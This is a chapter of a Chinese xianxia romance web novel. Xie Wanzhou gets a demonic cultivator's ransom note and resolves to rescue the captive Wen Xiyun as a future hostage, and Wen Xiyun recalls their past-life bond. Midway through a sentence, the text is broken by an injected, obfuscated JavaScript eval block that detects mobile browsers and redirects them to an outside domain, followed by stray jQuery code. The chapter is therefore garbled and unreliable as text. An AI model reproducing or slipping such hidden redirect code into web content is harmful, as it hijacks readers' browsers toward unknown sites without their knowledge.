入夜,谢挽州回到客栈,刚一进门就停下脚步,神情凝重。
房间内残留着几丝陌生的气息,有人来过。
他眼神扫过房内各处,果不其然,桌上多了一张字条——
【你要找的人在我这里,想救人的话,明晚下渔村海滩见】
字条上还压着一条珍珠手链,正是温溪云手腕上那条,即便知道被摊主骗了,他还是很珍惜地戴在手上,一直没有摘下。
视线掠过最后一个字时,整张字条立即在谢挽州手中燃起墨蓝色的火焰,是灵玄境惯用的阅焚术,但只有魔气才会是这种颜色。
温溪云果然是被魔修带走了。
对方恐怕从他们第一天来渔村时就盯上了他们,如今带走温溪云后还要告知他过去救人。
直觉告诉谢挽州,这其中一定有什么陷阱。
恰好此时识海内又有了波动——自那日帮他渡劫后,周偕的神魂消耗过大,时不时会陷入沉睡之中。
“前辈?”
周偕“嗯”了一声,开口便问:“怎么样,雷音珠有下落了吗?”
“还未寻到,”回答后,谢挽州停顿片刻才迟疑地问,“前辈,你有没有什么寻人之法。”
“你要找谁?”周偕视线转过一圈,见谢挽州身边空空荡荡,心下顿时了然,又意味不明地问,“那个小花瓶?”
不知为何,这三个字从周偕口中说出来,竟让谢挽州听出一种别样的气息。
“是,”他强行压下心头的异样,“他被魔修带走了,对方留信约我明晚见面。”
“怎么,你想去救他?”
没等谢挽州回答,周偕又冷冷道:“那样的人留在身边只会是个累赘,如今甩开他,不是正合你心意吗?”
“你忘了他欺骗你的那些事了?”
这几句话提醒了谢挽州,的确,温溪云靠近他本就目的不明,即便对方似乎真的喜欢他,但那又如何,他对温溪云没有半分喜欢。
更不用说温溪云口中还时不时就提起所谓的前世,似乎对那位臆想中的前世道侣一直念念不忘,只是将这股念想转接到他身上。
思及此,谢挽州心底蓦地生出一股不悦来,冷硬道:“我救他只是因为他还有用处,别无他意。”
“哦?什么用处?”
“他是天水宗剑尊之子,”谢挽州不假思索地说,“未来我同四大宗对峙之时,他可以作为一个人质。”
话说出口的瞬间,谢挽州微微一凝,似乎给自己这两日的所作所为找到了借口。
没错,他找温溪云只是出于利用对方的目的,同其他无关。所以温溪云喜欢他与否,和谁在一起过,身边又有过多少人,和他一丝关系也没有。
周偕沉默片刻,似乎也被这个理由打动了:“既如此,你可以去救他,明日我会看着,不必担心。”
*
温溪云被关了两天,他如今不在那间水牢里,而是换了间略显简陋的屋子,虽然看着简陋,但该有的应有尽有,甚至床榻睡上去还软乎乎的,像是刻意布置过。
身上原本的束缚也已经解开,只是被困在屋子里出不去,那魔修每天只会出现三次,准时准点给他送一日三餐,送完就走,连一句话也不说。
让温溪云意外的是,这些食物竟然都是他爱吃的,第一次时他还以为是巧合,并未放在心上,可后面连着几次都是不同花样他爱吃的东西。
“你怎么知道这些都是我喜欢吃的?”温溪云实在按耐不住好奇心,还是问出了口。
魔修却一言不发,收拾了桌上的餐盘就要离开。
“你等等——”温溪云伸手想要拦住她,对方却反应极大,一个闪身躲了过去,仿佛他是什么洪水猛兽似的,分明第一天还不是这样的。
“你究竟是谁,把我关在这里有什么目的,又想对我和师兄做什么?!”
一连串的问题问出口,那魔修只当作没听见,见离开的路被温溪云挡住,她眼神中带了些冰冷:“让开。”
“我不让,除非你把话说清楚。”温溪云表情坚定,大有打破砂锅问到底的趋势。
“急什么,你想知道的事,明晚就会有答案。”
“明晚?”温溪云一愣,“明晚会发生什么?”
他想起对方第一天时提到的珍珠,立刻说:“你的珍珠我可以还给你……”
“不需要了,”魔修打断他,掌心渐渐浮现一颗淡粉色,足有半个手掌那么大的珍珠,和温溪云第一天在沙滩上拿到的那颗珍珠几乎一模一样,只是这一颗似乎光泽感更强。
女人看着这颗珠子,眼中竟然破天荒带了些
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16507001|186115||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
温柔:“我已经找到替代了。”
温溪云朝前走了几步,不理解道:“你不是为了珍珠才抓我的吗?”
魔修没有回答,而是趁着温溪云朝前的间隙,闪身离开了房间。
“等等!”温溪云想抓住她,可手指一碰到房间的门便被弹了回来,明显布下了禁制。
他对这种禁制很熟悉,前世师兄也会这么关住他,久而久之温溪云便不再出门。
真要说起来,这两天被关住的经历仿佛让他又回到了前世,可不知道是不是这些日子见多了外面的热闹,上一世分明已经习以为常的生活,现在居然让他觉得难以忍受。
温溪云沮丧地坐回塌上,忍不住想谢挽州现在在做些什么,是不是对他的消失很开心。
如果这一世的师兄真的不喜欢他,他是不是应该放弃这段感情?
这个念头刚出现在脑海,温溪云就立刻摇摇头否认了。
前世分明是师兄先接近的他。
那个时候的温溪云还年幼,对比刚认识还一直冷脸的谢挽州和自小一起长大的白崇,他自然是黏着白崇更多一些,整日追在对方身后叫着白师兄。
没想到后来谢挽州会主动靠近他,极有耐心地教他一些基本术法,温溪云才发现对方只是看着冷淡,其实是个好人,恰好那阵子白崇离开天水宗下山历练,一来二去的,他才渐渐开始依赖谢挽州。
后来也是谢挽州先对他告白的,坦白来说,他那时并不是很懂情爱这些,谢挽州只问他想不想和他一直在一起。温溪云想的是他们要一直留在天水宗做师兄弟,于是没有考虑就点了点头,没想到下一秒对方就吻了上来。
而后发生的事温溪云其实懵懵懂懂,完全被谢挽州引导着完成,做了很多次之后,他才知道这种事情叫做双修,只有道侣之间才可以做。
于是生辰那天,师兄问他要不要结为道侣时,他又点了点头,才刚刚及冠,就这么草率又隐蔽地同谢挽州完成了结契。
现在回想起来,尽管这一切不符合礼数,但温溪云仍然没有后悔过,甚至此刻是有些庆幸的。
既然上一世是师兄先喜欢的他,那这一世的谢挽州应当也会喜欢他才对,他绝对绝对不能放弃这段感情。
只要他一直黏在谢挽州身边,总有一天能打动对方的。